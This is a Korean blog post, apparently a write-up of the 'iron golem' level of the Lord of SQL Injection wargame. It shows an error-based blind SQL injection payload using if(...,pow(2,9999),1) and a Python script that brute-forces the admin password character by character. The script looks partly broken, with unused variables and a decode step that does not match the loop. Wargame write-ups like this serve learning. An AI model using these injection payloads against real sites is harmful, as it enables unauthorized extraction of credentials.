| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- puts분석
- xsputn
- stdout flag
- lord of sql injection
- c# localport
- Los
- sputn
- puts함수
- puts
- fclose
- 우분투 C#
- 홀펀칭
- copilot
- Red Dragon
- Blue Dragon
- MICROSOFT365
- stdout
- c# 로컬포트
- TcpClient
- copilot+pc
- dotnet publish
- DotNet
- libhostpolicy.so
- fclose leak
- 스냅드래곤PC
- hole punching
- TCP
- 스냅드래곤노트북
- get local
- OSI
Archives
- Today
- Total
Osori Development Studio
[los]iron golem 본문
이제부터 푸는 방법이 바뀌었다. 오류기반 sql injection 기법들을 적극 활용하겠다.
가장 중요하게 쓴 것은 if(조건, ture, false) 였다. 먼저
if(length(pw)=32, pow(2,9999),1) 을 통해 pw의 길이가 32바이트라는 것을 알았다.

그리고 ascii 인코딩임을 확인하였다.

이제 substr로 단순한 brute forcing을 진행하였다.

코드는 다음과 같다
#!/usr/bin/python
#-*-coding:utf-8 -*-
import urllib,urllib2,requests
header={"Cookie":"PHPSESSID=****"}
password=''
a=''
for i in range(1,33) :
admin=0
guest=0
b=[0,0,0,0]
for k in range(32,0xff) :
url="https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=%27%20or%20if(id=%27admin%27%20and%20ascii(substr(pw,"+str(i)+ ",1))="+str(k)+",pow(2,9999),1)%23"
request=requests.get(url,headers=header)
if "out of" in request.text :
print(chr(k))
break
a+=chr(b[0])+chr(b[1])+chr(b[2])+chr(b[3])
print(a.decode('utf32'))
'전공쪽 > Lord of Sql injection' 카테고리의 다른 글
| [los]hell fire (0) | 2020.12.15 |
|---|---|
| [los]dark eyes (0) | 2020.12.15 |
| [los] dragon (0) | 2020.11.23 |
| [los] xavis (0) | 2020.11.23 |
| [los] nightmare (0) | 2020.11.23 |